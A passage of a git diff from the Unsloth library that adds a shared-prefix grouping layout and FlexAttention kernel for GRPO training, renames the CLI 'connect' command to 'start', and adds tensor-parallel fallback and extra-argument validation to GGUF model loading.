+    flat_ids: torch.Tensor  # [1, T]  (T == seg.T)
+    position_ids: torch.Tensor  # [1, T]
+    prefix_seg_info: PrefixSegInfo
+    # per completion target token, aligned 1:1:
+    tgt_rows: torch.Tensor  # [N] original row index
+    tgt_cols: torch.Tensor  # [N] original padded column in that row
+    tgt_pred: torch.Tensor  # [N] flat predicting index (into the T stream)
+    tgt_flat: torch.Tensor  # [N] flat index of the target token itself (into T)
+    total_rows: int
+    L: int  # original padded seq length (input_ids.shape[1])
+    W: int  # logits_to_keep + max_left_pad (scatter width)
+    tok_r: float
+    signature: Tuple
+
+    def extract_logps(
+        self,
+        hidden,
+        lm_head,
+        chunked_fn,
+        chunks,
+        logit_scale_multiply,
+        logit_scale_divide,
+        logit_softcapping,
+        temperature,
+    ) -> torch.Tensor:
+        """hidden: [1, T, Hdim] (pre-lm_head hidden states, UNSLOTH_RETURN_HIDDEN_STATES=1).
+        Returns [total_rows, W] float32, byte-compatible with the packed path result."""
+        # In a sharded model hidden may live on the lm-head device; move the small index
+        # maps to hidden.device before indexing.
+        device = hidden.device
+        pred_h = hidden[0, self.tgt_pred.to(device), :].unsqueeze(0)  # [1, N, Hdim]
+        tgt_ids = self.flat_ids[0, self.tgt_flat].to(device).unsqueeze(0)  # [1, N]
+        sel = chunked_fn(
+            pred_h,
+            lm_head,
+            tgt_ids,
+            chunks,
+            logit_scale_multiply,
+            logit_scale_divide,
+            logit_softcapping,
+            temperature,
+        )[0]  # [N] logprobs
+        dest = self.tgt_rows.to(device) * self.L + self.tgt_cols.to(device)
+        result = (
+            torch.zeros(self.total_rows * self.L, dtype = torch.float32, device = device)
+            .index_put((dest,), sel.to(torch.float32))
+            .view(self.total_rows, self.L)[:, -self.W :]
+        )
+        return result
+
+
+def _build_groups(ids_cpu, real_cols_cpu, cstart_cpu, num_generations, total_rows):
+    """CPU-side grouping. Returns group dicts or None. Mirrors the packed _pk_* partition.
+
+    A row's REAL tokens are the columns where input != pad. Its completion region (what
+    the packed path scatters, then completion_mask masks) is the real columns with
+    original col >= cstart_r, where cstart_r = (L - logits_to_keep) - left_pad_r. The
+    prompt is the real columns < cstart_r. Within a GRPO group all G rows share the same
+    prompt => same left_pad => same cstart => the prompt real columns are BYTE-IDENTICAL
+    across the group (the shared prefix). We require that byte-identity (falls back
+    otherwise). No prompt-tail special-casing: every suffix token is scattered exactly
+    like the packed path; completion_mask masks the leading prompt-tail positions.
+    """
+    G = num_generations
+    if G is None or G < 2 or total_rows % G != 0:
+        return None
+    groups = []
+    for g0 in range(0, total_rows, G):
+        rows = list(range(g0, g0 + G))
+        prompt_cols_per_row = []  # real cols < cstart
+        prompt_toks_per_row = []
+        comp_cols_per_row = []  # real cols >= cstart  (the completion region packed scatters)
+        for r in rows:
+            cs = cstart_cpu[r]
+            rc = real_cols_cpu[r]
+            p_cols = [c for c in rc if c < cs]
+            c_cols = [c for c in rc if c >= cs]
+            prompt_cols_per_row.append(p_cols)
+            prompt_toks_per_row.append([ids_cpu[r][c] for c in p_cols])
+            comp_cols_per_row.append(c_cols)
+        if any(len(p) == 0 for p in prompt_toks_per_row):
+            return None
+        # require BYTE-IDENTICAL prompts across the group (shared-prefix precondition).
+        P = len(prompt_toks_per_row[0])
+        if any(len(prompt_toks_per_row[k]) != P for k in range(1, G)):
+            return None
+        p0 = prompt_toks_per_row[0]
+        if any(prompt_toks_per_row[k] != p0 for k in range(1, G)):
+            return None
+        if P == 0:
+            return None
+        R_list = [len(c) for c in comp_cols_per_row]
+        if sum(R_list) == 0:
+            return None
+        groups.append(
+            dict(
+                rows = rows,
+                P = P,
+                prefix_cols = prompt_cols_per_row[0],  # shared prompt real columns (row0)
+                prefix_row = rows[0],
+                R_list = R_list,
+                suf_cols = comp_cols_per_row,  # per-row completion-region real columns
+            )
+        )
+    return groups
+
+
+def _tok_r(groups) -> float:
+    tok_full = 0
+    tok_sp = 0
+    for gm in groups:
+        P = gm["P"]
+        Rs = gm["R_list"]
+        tok_full += sum(P + r for r in Rs)  # G*P + sumR
+        tok_sp += P + sum(Rs)  # P + sumR
+    return (tok_full / tok_sp) if tok_sp else 1.0
+
+
+def build_group_layout(
+    input_ids,
+    logits_to_keep,
+    pad_id,
+    num_generations,
+    left_pad_tokens_per_prompt,
+    *,
+    apply_tokr_gate = True,
+    max_segment_cap = None,
+):
+    """Build the shared-prefix GroupLayout, or return None to fall back to the packed path.
+
+    input_ids : [B, L]. GRPO's layout is left-padded in the prompt and right-padded in
+        the completion. Real tokens of a row are a contiguous run not necessarily
+        starting at column 0.
+    logits_to_keep : int
+    left_pad_tokens_per_prompt : [B] long tensor (per-row left-pad count in the prompt).
+    """
+    device = input_ids.device
+    total_rows, L = input_ids.shape
+    keep = input_ids != pad_id
+    # completion start column per row (matches create_completion_attention_mask / _pk_cstart).
+    cstart = ((L - logits_to_keep) - left_pad_tokens_per_prompt).to(torch.long)
+    cstart_cpu = cstart.tolist()
+    ids_cpu = input_ids.tolist()
+    # per-row real (non-pad) columns. GRPO rows are one contiguous real run, so derive
+    # [first, first+n) on GPU; the O(B*L) scan is only a non-contiguous fallback.
+    n_real = keep.sum(dim = 1)
+    first = torch.argmax(keep.to(torch.int8), dim = 1)
+    ar = torch.arange(L, device = device)
+    contiguous = bool(
+        (keep == ((ar >= first.unsqueeze(1)) & (ar < (first + n_real).unsqueeze(1)))).all()
+    )
+    if contiguous:
+        real_cols_cpu = [list(range(f, f + n)) for f, n in zip(first.tolist(), n_real.tolist())]
+    else:
+        keep_cpu = keep.tolist()
+        real_cols_cpu = [[c for c in range(L) if keep_cpu[r][c]] for r in range(total_rows)]
+
+    groups = _build_groups(ids_cpu, real_cols_cpu, cstart_cpu, num_generations, total_rows)
+    if groups is None:
+        return None
+
+    # sliding-window guard: a group's PG span is P + max(R); fall back if it exceeds the window.
+    if max_segment_cap is not None:
+        for gm in groups:
+            if gm["P"] + max(gm["R_list"]) > max_segment_cap:
+                return None
+
+    tok_r = _tok_r(groups)
+    if apply_tokr_gate and tok_r < tokr_threshold():
+        return None  # low reuse -> not worth it; use the full-row packed path
+
+    # Build flat stream by gathering original (row, col) coordinates.
+    group_specs = [(gm["P"], gm["R_list"]) for gm in groups]
+    seg, group_meta = build_seg_info_multigroup(group_specs, device)
+
+    flat_src_rows: List[int] = []
+    flat_src_cols: List[int] = []
+    pos_list: List[int] = []
+    tgt_rows: List[int] = []
+    tgt_cols: List[int] = []
+    tgt_pred: List[int] = []
+    tgt_flat: List[int] = []
+
+    for gm, meta in zip(groups, group_meta):
+        rows = gm["rows"]
+        P = gm["P"]
+        r0 = gm["prefix_row"]
+        prefix_cols = gm["prefix_cols"]  # ORIGINAL real prompt columns (len P) of row0
+        plast = meta["prefix_last_index"]  # base + P - 1
+        # gather the shared prefix once, from row0.
+        flat_src_rows.extend([r0] * P)
+        flat_src_cols.extend(prefix_cols)
+        pos_list.extend(range(P))
+        # suffixes: every suffix token is a completion-region target (scattered like the
+        # packed path; completion_mask hides prompt-tail positions).
+        for i, r in enumerate(rows):
+            cols = gm["suf_cols"][i]
+            r_i = len(cols)
+            s, e = meta["suffix_slices"][i]  # flat offsets [s, e)
+            flat_src_rows.extend([r] * r_i)
+            flat_src_cols.extend(cols)
+            pos_list.extend(range(P, P + r_i))
+            for j in range(r_i):
+                # pos 0 is predicted from the prefix's last token; j>=1 from the previous suffix token.
+                pred = plast if j == 0 else (s + j - 1)
+                tgt_rows.append(r)
+                tgt_cols.append(cols[j])  # ORIGINAL padded column in row r
+                tgt_pred.append(pred)
+                tgt_flat.append(s + j)  # flat index of the target token itself
+
+    T = len(flat_src_rows)
+    assert T == seg.T, f"flat stream len {T} != seg.T {seg.T}"
+    fr = torch.tensor(flat_src_rows, device = device, dtype = torch.long)
+    fc = torch.tensor(flat_src_cols, device = device, dtype = torch.long)
+    flat_ids = input_ids[fr, fc].unsqueeze(0)  # [1, T] (grad-safe gather)
+    position_ids = torch.tensor(pos_list, device = device, dtype = torch.long).unsqueeze(0)
+
+    max_left_pad = int(left_pad_tokens_per_prompt.max().item()) if total_rows else 0
+    W = logits_to_keep + max_left_pad
+
+    # self-verify cache key: the mask/index-map/scatter logic is structural, so key on
+    # (num_groups, group_sizes), not exact lengths -- GRPO lengths change every step and
+    # keying on T would re-verify forever ("verify once, then trust", like the packed path).
+    grp_sizes = tuple(sorted(len(gm["R_list"]) for gm in groups))
+    sig = (len(groups), grp_sizes)
+
+    return GroupLayout(
+        flat_ids = flat_ids,
+        position_ids = position_ids,
+        prefix_seg_info = seg,
+        tgt_rows = torch.tensor(tgt_rows, device = device, dtype = torch.long),
+        tgt_cols = torch.tensor(tgt_cols, device = device, dtype = torch.long),
+        tgt_pred = torch.tensor(tgt_pred, device = device, dtype = torch.long),
+        tgt_flat = torch.tensor(tgt_flat, device = device, dtype = torch.long),
+        total_rows = total_rows,
+        L = L,
+        W = W,
+        tok_r = tok_r,
+        signature = sig,
+    )
+
+
+__all__ = [
+    "GroupLayout",
+    "build_group_layout",
+    "prefix_grouper_enabled",
+    "verify_on",
+    "tokr_threshold",
+    "tol_ok",
+    "TOL_KILL",
+    "env_on",
+]
diff --git a/unsloth/utils/prefix_grouper_kernel.py b/unsloth/utils/prefix_grouper_kernel.py
new file mode 100644
index 0000000000..9a9719b015
--- /dev/null
+++ b/unsloth/utils/prefix_grouper_kernel.py
@@ -0,0 +1,436 @@
+# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.
+#
+# This program is free software: you can redistribute it and/or modify
+# it under the terms of the GNU Affero General Public License as published by
+# the Free Software Foundation, either version 3 of the License, or
+# (at your option) any later version.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU Affero General Public License for more details.
+#
+# You should have received a copy of the GNU Affero General Public License
+# along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+"""FlexAttention shared-prefix kernel for PrefixGrouper (GRPO shared-prompt dedup).
+
+In GRPO every prompt spawns ``G = num_generations`` completions that share the same
+prompt prefix. The full-row packed path forwards the identical prefix ``G`` times.
+PrefixGrouper stores the prefix ONCE and concatenates only the ``G`` suffixes, with an
+attention layout where each suffix token attends to ``[the single shared prefix] +
+[causal within its own suffix]``. This kernel expresses that one-prefix -> many-suffix
+fan-out via a ``torch.nn.attention.flex_attention`` block mask, so the masked-out
+cross-suffix / cross-group blocks are never computed and the ``P + G*R`` FLOP saving is
+realised (not merely a masked dense ``O(T^2)``).
+
+Mask semantics (identical to the certified SDPA oracle):
+
+    keep(q_idx, kv_idx) = same_group(q, kv) AND
+        ( is_prefix[kv_idx]                                  # full prefix visibility
+          OR ( suffix_of_kv[kv_idx] == suffix_of_kv[q_idx]   # same suffix ...
+               AND kv_idx <= q_idx ) )                       # ... causal within it
+
+This module is self-contained (no dependency on any temp/ scratch dir) so PrefixGrouper
+works from the installed source after a fresh compile. It is only imported lazily from
+``attention_dispatch.run_attention`` when ``prefix_seg_info`` is present, which itself is
+only ever set when ``UNSLOTH_GRPO_PREFIX_GROUPER`` is on and grouping succeeded, so the
+default (off) path never touches this file.
+
+Provided entry points:
+  * ``PrefixSegInfo``            : per-flat-token segment metadata + cache signature.
+  * ``build_seg_info_multigroup``: build PrefixSegInfo for many groups packed flat.
+  * ``build_seg_info_from_layout``: build PrefixSegInfo for ONE group (test helper).
+  * ``get_block_mask``          : cached create_block_mask keyed on the signature.
+  * ``flex_shared_prefix_attention(Q, K, V, prefix_seg_info)``
+        Q/K/V of shape [1, T, n_heads, head_dim]; returns [1, T, n_heads, head_dim],
+        IDENTICAL semantics to the SDPA oracle.
+"""
+
+from __future__ import annotations
+
+import os
+from dataclasses import dataclass
+from typing import Dict, List, Optional, Tuple
+
+import torch
+from torch.nn.attention.flex_attention import (
+    BlockMask,
+    create_block_mask,
+    flex_attention,
+)
+
+# GRPO feeds many distinct segment lengths; at dynamo's default recompile_limit (8) the
+# compiled kernel silently reuses a mismatched specialisation (wrong results). Raise it.
+torch._dynamo.config.recompile_limit = max(getattr(torch._dynamo.config, "recompile_limit", 8), 256)
+torch._dynamo.config.accumulated_recompile_limit = max(
+    getattr(torch._dynamo.config, "accumulated_recompile_limit", 256), 2048
+)
+
+
+# Compiled kernels: torch.compile fuses the sparse mask into one kernel. dynamic=True is
+# required: T changes almost every GRPO batch and dynamic=False recompiles per T (~14s
+# each). T is still padded to a multiple of 128 (_pad_len) for the backward kernel.
+_flex_attention_compiled = torch.compile(flex_attention, dynamic = True)
+_create_block_mask_compiled = torch.compile(create_block_mask, dynamic = True)
+
+# Flash block sizes by Q dtype (env-overridable). The two disjoint key runs (prefix +
+# own-suffix) stress online-softmax accumulation: fp32 needs 32/32 for a ~1e-6 floor;
+# bf16 passes parity at 128/64 and is ~5x faster (128/128 OOMs Triton on B200).
+_FP32_BLOCK_M = int(os.environ.get("PG_FLEX_BLOCK_M", "32"))
+_FP32_BLOCK_N = int(os.environ.get("PG_FLEX_BLOCK_N", "32"))
+_BF16_BLOCK_M = int(os.environ.get("PG_FLEX_BF16_BLOCK_M", "128"))
+_BF16_BLOCK_N = int(os.environ.get("PG_FLEX_BF16_BLOCK_N", "64"))
+
+
+def _kernel_options_for_dtype(dtype):
+    """Pick the numerically-safe flash block sizes for the Q dtype."""
+    if dtype == torch.bfloat16 or dtype == torch.float16:
+        return {"BLOCK_M": _BF16_BLOCK_M, "BLOCK_N": _BF16_BLOCK_N}
+    return {"BLOCK_M": _FP32_BLOCK_M, "BLOCK_N": _FP32_BLOCK_N}
+
+
+# Backward-compat constant (fp32 default).
+_FLEX_KERNEL_OPTIONS = {"BLOCK_M": _FP32_BLOCK_M, "BLOCK_N": _FP32_BLOCK_N}
+
+# The compiled backward trips an Inductor assertion when T is not a multiple of 128, so
+# pad the flat sequence. Pad tokens form a group that attends to / is attended by nothing
+# (all-masked rows return 0, not NaN) and are sliced off the output.
+_PAD_MULTIPLE = 128
+_PAD_GROUP = -99  # sentinel group id / suffix id for pad tokens
+
+
+def _pad_len(T: int) -> int:
+    return ((T + _PAD_MULTIPLE - 1) // _PAD_MULTIPLE) * _PAD_MULTIPLE
+
+
+# ---------------------------------------------------------------------------
+# Segment metadata
+# ---------------------------------------------------------------------------
+
+
+@dataclass
+class PrefixSegInfo:
+    """Per-flat-token segment metadata driving the shared-prefix block mask.
+
+    The label tensors are 1-D of length ``T_pad`` (>= real ``T``, padded up to a multiple
+    of 128 so the backward kernel compiles). Positions ``[T:T_pad)`` are pad tokens
+    (group/suffix == _PAD_GROUP) that attend to nothing.
+
+    Attributes
+    ----------
+    group_of_kv : LongTensor [T_pad]
+        Group id per flat token (0..num_groups-1); _PAD_GROUP for pad tokens.
+    is_prefix : BoolTensor [T_pad]
+        True iff the token is a prefix token of its group (False for pad).
+    suffix_of_kv : LongTensor [T_pad]
+        Suffix id per flat token; -1 for prefix, _PAD_GROUP for pad. Suffix ids are
+        globally unique across groups.
+    signature : hashable
+        Cache key for the block mask (depends only on the labels + T_pad).
+    T : int
+        Real flat sequence length (Q/K/V of this length are padded internally).
+    T_pad : int
+        Padded length (multiple of 128) at which the block mask is built.
+    """
+
+    group_of_kv: torch.Tensor
+    is_prefix: torch.Tensor
+    suffix_of_kv: torch.Tensor
+    signature: Tuple
+    T: int
+    T_pad: int
+
+
+def _pad_labels(group_of_kv, is_prefix, suffix_of_kv, device):
+    """Pad the label tensors up to a multiple of 128 with pad-token sentinels."""
+    T = int(group_of_kv.numel())
+    T_pad = _pad_len(T)
+    if T_pad == T:
+        return group_of_kv, is_prefix, suffix_of_kv, T, T_pad
+    pad = T_pad - T
+    group_of_kv = torch.cat(
+        [group_of_kv, torch.full((pad,), _PAD_GROUP, dtype = torch.long, device = device)]
+    )
+    is_prefix = torch.cat([is_prefix, torch.zeros(pad, dtype = torch.bool, device = device)])
+    suffix_of_kv = torch.cat(
+        [suffix_of_kv, torch.full((pad,), _PAD_GROUP, dtype = torch.long, device = device)]
+    )
+    return group_of_kv, is_prefix, suffix_of_kv, T, T_pad
+
+
+def build_seg_info_from_layout(layout, device: Optional[torch.device] = None) -> PrefixSegInfo:
+    """Build PrefixSegInfo for ONE group from an object with ``.flat_ids``, ``.P`` and
+    ``.suffix_slices`` (used by the parity test / oracle helpers)."""
+    if device is None:
+        device = layout.flat_ids.device
+    T = int(layout.flat_ids.shape[1])
+    P = int(layout.P)
+
+    group_of_kv = torch.zeros(T, dtype = torch.long, device = device)  # single group -> 0
+    is_prefix = torch.zeros(T, dtype = torch.bool, device = device)
+    is_prefix[:P] = True
+    suffix_of_kv = torch.full((T,), -1, dtype = torch.long, device = device)
+    for i, (s, e) in enumerate(layout.suffix_slices):
+        suffix_of_kv[s:e] = i
+
+    group_of_kv, is_prefix, suffix_of_kv, T, T_pad = _pad_labels(
+        group_of_kv, is_prefix, suffix_of_kv, device
+    )
+    sig = ("single", T_pad, P, tuple((s, e) for (s, e) in layout.suffix_slices))
+    return PrefixSegInfo(
+        group_of_kv = group_of_kv,
+        is_prefix = is_prefix,
+        suffix_of_kv = suffix_of_kv,
+        signature = sig,
+        T = T,
+        T_pad = T_pad,
+    )
+
+
+def build_seg_info_multigroup(
+    group_specs: List[Tuple[int, List[int]]], device: torch.device
+) -> Tuple[PrefixSegInfo, List[dict]]:
+    """Build PrefixSegInfo for several shared-prefix groups packed block-diagonally.
+
+    Parameters
+    ----------
+    group_specs : list of (P_g, [R_{g,0}, R_{g,1}, ...])
+        For each group: prefix length and the list of suffix lengths.
+
+    Returns
+    -------
+    seg : PrefixSegInfo
+    group_meta : list of dicts with 'base', 'P', 'prefix_last_index', 'suffix_slices'
+        (flat offsets), enough to build the completion index map.
+    """
+    group_of_list = []
+    is_prefix_list = []
+    suffix_of_list = []
+    group_meta = []
+
+    base = 0
+    suffix_counter = 0
+    sig_parts = []
+    for gid, (P, R_list) in enumerate(group_specs):
+        # prefix
+        group_of_list.append(torch.full((P,), gid, dtype = torch.long, device = device))
+        is_prefix_list.append(torch.ones(P, dtype = torch.bool, device = device))
+        suffix_of_list.append(torch.full((P,), -1, dtype = torch.long, device = device))
+        prefix_last_index = base + P - 1
+        suffix_slices = []
+        cursor = base + P
+        for r in R_list:
+            group_of_list.append(torch.full((r,), gid, dtype = torch.long, device = device))
+            is_prefix_list.append(torch.zeros(r, dtype = torch.bool, device = device))
+            suffix_of_list.append(torch.full((r,), suffix_counter, dtype = torch.long, device = device))
+            suffix_slices.append((cursor, cursor + r))
+            cursor += r
+            suffix_counter += 1
+        group_meta.append(
+            {
+                "base": base,
+                "P": P,
+                "prefix_last_index": prefix_last_index,
+                "suffix_slices": suffix_slices,
+            }
+        )
+        sig_parts.append((P, tuple(R_list)))
+        base = cursor
+
+    group_of_kv = torch.cat(group_of_list)
+    is_prefix = torch.cat(is_prefix_list)
+    suffix_of_kv = torch.cat(suffix_of_list)
+    group_of_kv, is_prefix, suffix_of_kv, T, T_pad = _pad_labels(
+        group_of_kv, is_prefix, suffix_of_kv, device
+    )
+    sig = ("multi", T_pad, tuple(sig_parts))
+    seg = PrefixSegInfo(
+        group_of_kv = group_of_kv,
+        is_prefix = is_prefix,
+        suffix_of_kv = suffix_of_kv,
+        signature = sig,
+        T = T,
+        T_pad = T_pad,
+    )
+    return seg, group_meta
+
+
+# ---------------------------------------------------------------------------
+# Block-mask builder + cache, keyed on (signature, device): the mask depends only on the
+# per-token labels and T, so it is reused across layers and steps.
+
+_BLOCK_MASK_CACHE: Dict[Tuple, BlockMask] = {}
+
+
+def _make_mask_mod(group_of_kv, is_prefix, suffix_of_kv):
+    """Return a mask_mod closure over the (device) label tensors.
+
+    keep(q, kv) = same_group AND
+        ( is_prefix[kv]  AND kv <= q                     # causal within/ into prefix
+          OR ( suffix_of_kv[kv] == suffix_of_kv[q]       # same suffix ...
+               AND (not is_prefix[q])                    # q is a suffix token ...
+               AND kv <= q ) )                           # ... causal within it
+
+    The single ``kv <= q`` guard on the is_prefix branch gives BOTH prefix-causal
+    behaviour (a prefix q sees only earlier prefix tokens) AND full-prefix-visibility for
+    suffixes (every prefix index < every suffix index in a group, so kv <= q always holds
+    for a suffix q vs a prefix kv of its group), matching the SDPA oracle exactly.
+    """
+
+    def mask_mod(b, h, q_idx, kv_idx):
+        same_group = group_of_kv[q_idx] == group_of_kv[kv_idx]
+        kv_is_prefix = is_prefix[kv_idx]
+        causal = kv_idx <= q_idx
+        same_suffix = (suffix_of_kv[kv_idx] == suffix_of_kv[q_idx]) & (~is_prefix[q_idx])
+        keep = same_group & ((kv_is_prefix & causal) | (same_suffix & causal))
+        return keep
+
+    return mask_mod
+
+
+def get_block_mask(
+    seg: PrefixSegInfo,
+    device: torch.device,
+    compile_mask: bool = True,
+) -> BlockMask:
+    """Return a cached BlockMask for the segment signature (built once, reused).
+
+    CRITICAL: the block mask is cached and shared across BOTH the no-grad old/ref logprob
+    forward (which runs under torch.inference_mode) and the grad training forward. If the
+    mask were first built under inference_mode, its tensors would be INFERENCE tensors that
+    "cannot be saved for backward" when reused in the grad forward. We therefore build the
+    mask with inference mode explicitly DISABLED, so the same cached BlockMask is a normal
+    tensor usable by autograd. (The mask depends only on integer labels; it needs no grad.)
+    """
+    key = (seg.signature, str(device))
+    bm = _BLOCK_MASK_CACHE.get(key)
+    if bm is not None:
+        return bm
+
+    # Move labels to the consumer (Q) device: with a sharded model the seg tensors live on
+    # input_ids.device and would index cross-device. Copies once per (signature, device).
+    # These copies must also run with inference mode DISABLED (same reason as the mask build):
+    # when this entry is first built under the no-grad old/ref forward's inference_mode and
+    # device != seg.device, a .to(device) copy would be an inference tensor that mask_mod
+    # captures, which then cannot be saved for backward when the grad training forward reuses
+    # the cached mask.
+    builder = _create_block_mask_compiled if compile_mask else create_block_mask
+    with torch.inference_mode(False):
+        mask_mod = _make_mask_mod(
+            seg.group_of_kv.to(device), seg.is_prefix.to(device), seg.suffix_of_kv.to(device)
+        )
+        bm = builder(
+            mask_mod,
+            B = 1,
+            H = None,
+            Q_LEN = seg.T_pad,
+            KV_LEN = seg.T_pad,
+            device = device,
+        )
+    # FIFO bound: GRPO lengths change nearly every step, so evict the oldest to cap GPU pins.
+    if len(_BLOCK_MASK_CACHE) >= 8:
+        _BLOCK_MASK_CACHE.pop(next(iter(_BLOCK_MASK_CACHE)))
+    _BLOCK_MASK_CACHE[key] = bm
+    return bm
+
+
+def clear_block_mask_cache():
+    _BLOCK_MASK_CACHE.clear()
+
+
+def _pad_qkv_seq(x: torch.Tensor, T_pad: int) -> torch.Tensor:
+    """Zero-pad a [B, H, T, D] tensor along the sequence dim up to T_pad."""
+    T = x.shape[2]
+    if T_pad == T:
+        return x
+    pad = torch.zeros(x.shape[0], x.shape[1], T_pad - T, x.shape[3], device = x.device, dtype = x.dtype)
+    return torch.cat([x, pad], dim = 2)
+
+
+def _run_flex(q, k, v, block_mask, enable_gqa, scale, compiled, T, T_pad):
+    """Pad q/k/v to T_pad, run flex, slice the output back to T. q/k/v: [B,H,T,D]."""
+    qp = _pad_qkv_seq(q, T_pad)
+    kp = _pad_qkv_seq(k, T_pad)
+    vp = _pad_qkv_seq(v, T_pad)
+    if compiled:
+        out = _flex_attention_compiled(
+            qp,
+            kp,
+            vp,
+            block_mask = block_mask,
+            enable_gqa = enable_gqa,
+            scale = scale,
+            kernel_options = _kernel_options_for_dtype(qp.dtype),
+        )
+    else:
+        # eager path (fp64 parity): dense scores, no kernel_options.
+        out = flex_attention(
+            qp,
+            kp,
+            vp,
+            block_mask = block_mask,
+            enable_gqa = enable_gqa,
+            scale = scale,
+        )
+    return out[:, :, :T, :]
+
+
+# ---------------------------------------------------------------------------
+# The kernel entry point
+# ---------------------------------------------------------------------------
+
+
+def flex_shared_prefix_attention(
+    Q: torch.Tensor,
+    K: torch.Tensor,
+    V: torch.Tensor,
+    prefix_seg_info: PrefixSegInfo,
+    scale: Optional[float] = None,
+    block_mask: Optional[BlockMask] = None,
+    compiled: bool = True,
+) -> torch.Tensor:
+    """Shared-prefix attention via FlexAttention.
+
+    Parameters
+    ----------
+    Q, K, V : Tensor [1, T, n_heads, head_dim]
+        (Q has n_heads, K/V have n_kv_heads for GQA).
+    prefix_seg_info : PrefixSegInfo
+    scale : optional float, softmax scale (defaults to 1/sqrt(head_dim)).
+    block_mask : optional precomputed BlockMask (else built/cached from seg info).
+
+    Returns
+    -------
+    Tensor [1, T, n_heads, head_dim], identical semantics to the SDPA oracle branch.
+    """
+    assert Q.dim() == 4 and Q.shape[0] == 1, f"expected [1,T,H,D], got {tuple(Q.shape)}"
+    device = Q.device
+    # FlexAttention wants [B, H, T, D].
+    q = Q.transpose(1, 2)  # [1, n_heads, T, D]
+    k = K.transpose(1, 2)  # [1, n_kv_heads, T, D]
+    v = V.transpose(1, 2)
+
+    n_heads = q.shape[1]
+    n_kv = k.shape[1]
+    enable_gqa = n_heads != n_kv
+    T = q.shape[2]
+    T_pad = prefix_seg_info.T_pad
+    assert T == prefix_seg_info.T, f"Q length {T} != seg.T {prefix_seg_info.T}"
+
+    if block_mask is None:
+        block_mask = get_block_mask(prefix_seg_info, device, compile_mask = compiled)
+
+    out = _run_flex(q, k, v, block_mask, enable_gqa, scale, compiled, T, T_pad)
+    # back to [1, T, n_heads, D]
+    return out.transpose(1, 2).contiguous()
+
+
+__all__ = [
+    "PrefixSegInfo",
+    "build_seg_info_multigroup",
+    "build_seg_info_from_layout",
+    "get_block_mask",
+    "clear_block_mask_cache",
+    "flex_shared_prefix_attention",
+]
diff --git a/unsloth_cli/__init__.py b/unsloth_cli/__init__.py
index 440b6276cd..b3831f5314 100644
--- a/unsloth_cli/__init__.py
+++ b/unsloth_cli/__init__.py
@@ -11,7 +11,7 @@ from importlib.metadata import version as package_version, PackageNotFoundError
 from unsloth_cli.commands.train import train
 from unsloth_cli.commands.inference import inference
 from unsloth_cli.commands.chat import chat
-from unsloth_cli.commands.connect import connect_app
+from unsloth_cli.commands.start import start_app
 from unsloth_cli.commands.export import export, list_checkpoints
 from unsloth_cli.commands.studio import (
     run as studio_run,
@@ -79,9 +79,16 @@ app.command()(export)
 app.command("list-checkpoints")(list_checkpoints)
 app.add_typer(studio_app, name = "studio", help = "Unsloth Studio commands.")
 app.add_typer(
-    connect_app,
+    start_app,
+    name = "start",
+    help = "Start a coding agent (Claude, Codex, OpenClaw, OpenCode, Hermes, Pi) against Studio.",
+)
+# Backwards-compatible hidden alias: `unsloth connect` routes to `unsloth start`.
+app.add_typer(
+    start_app,
     name = "connect",
-    help = "Connect a coding agent (Claude Code, Codex) to Studio.",
+    hidden = True,
+    help = "Deprecated alias for `unsloth start`.",
 )
 
 # Top-level `unsloth run` aliases `unsloth studio run`; same context
diff --git a/unsloth_cli/_inference.py b/unsloth_cli/_inference.py
index 0baeb2ffe5..e8a3414d73 100644
--- a/unsloth_cli/_inference.py
+++ b/unsloth_cli/_inference.py
@@ -3,11 +3,12 @@
 
 """Model loading and streaming shared by `inference` and `chat`."""
 
+import asyncio
 import os
 import re
 import sys
 from pathlib import Path
-from typing import Optional
+from typing import List, Optional
 
 import typer
 
@@ -211,28 +212,65 @@ def resolve_model_config(model: str, *, hf_token: Optional[str]):
     return model_config
 
 
-def _load_gguf_backend(model_config, *, hf_token, max_seq_length):
+def _validate_llama_extra_args_or_exit(llama_extra_args: Optional[List[str]]) -> list[str]:
+    from core.inference.llama_server_args import validate_extra_args
+    try:
+        return validate_extra_args(llama_extra_args)
+    except ValueError as exc:
+        typer.echo(f"Error: {exc}", err = True)
+        raise typer.Exit(code = 1)
+
+
+def _load_gguf_backend(
+    model_config,
+    *,
+    hf_token,
+    max_seq_length,
+    tensor_parallel: bool = False,
+    llama_extra_args: Optional[List[str]] = None,
+):
     ensure_studio_backend_path()
     from core.inference.llama_cpp import LlamaCppBackend
+    from core.inference.tensor_fallback import load_with_tensor_fallback
 
     llama_backend = LlamaCppBackend()
+    extra_args = _validate_llama_extra_args_or_exit(llama_extra_args)
     common = dict(
         hf_variant = model_config.gguf_variant,
         model_identifier = model_config.identifier,
         is_vision = model_config.is_vision,
         n_ctx = max_seq_length,
     )
-    if model_config.gguf_hf_repo:
-        loaded = llama_backend.load_model(
-            hf_repo = model_config.gguf_hf_repo, hf_token = hf_token, **common
+
+    async def _attempt_gguf_load(
+        requested_tensor_parallel: bool, attempt_extra_args: Optional[List[str]]
+    ) -> bool:
+        attempt_common = dict(
+            common,
+            tensor_parallel = requested_tensor_parallel,
+            extra_args = attempt_extra_args,
         )
-    else:
-        loaded = llama_backend.load_model(
+        if model_config.gguf_hf_repo:
+            return llama_backend.load_model(
+                hf_repo = model_config.gguf_hf_repo,
+                hf_token = hf_token,
+                **attempt_common,
+            )
+        return llama_backend.load_model(
             gguf_path = model_config.gguf_file,
             mmproj_path = model_config.gguf_mmproj_file,
             mtp_draft_path = model_config.gguf_mtp_file,
-            **common,
+            **attempt_common,
         )
+
+    loaded = asyncio.run(
+        load_with_tensor_fallback(
+            _attempt_gguf_load,
+            requested_tensor = tensor_parallel,
+            extra_args = extra_args,
+            label = model_config.identifier,
+        )
+    )
     if not loaded:
         typer.echo("Model load failed", err = True)
         raise typer.Exit(code = 1)
@@ -245,6 +283,8 @@ def load_chat_backend(
     hf_token: Optional[str],
     max_seq_length: int,
     load_in_4bit: bool,
+    tensor_parallel: bool = False,
+    llama_extra_args: Optional[List[str]] = None,
     model_config = None,
     fresh_backend: bool = False,
 ):
@@ -259,7 +299,13 @@ def load_chat_backend(
     typer.echo(f"Loading {model}", err = True)
 
     if model_config.is_gguf:
-        return _load_gguf_backend(model_config, hf_token = hf_token, max_seq_length = max_seq_length)
+        return _load_gguf_backend(
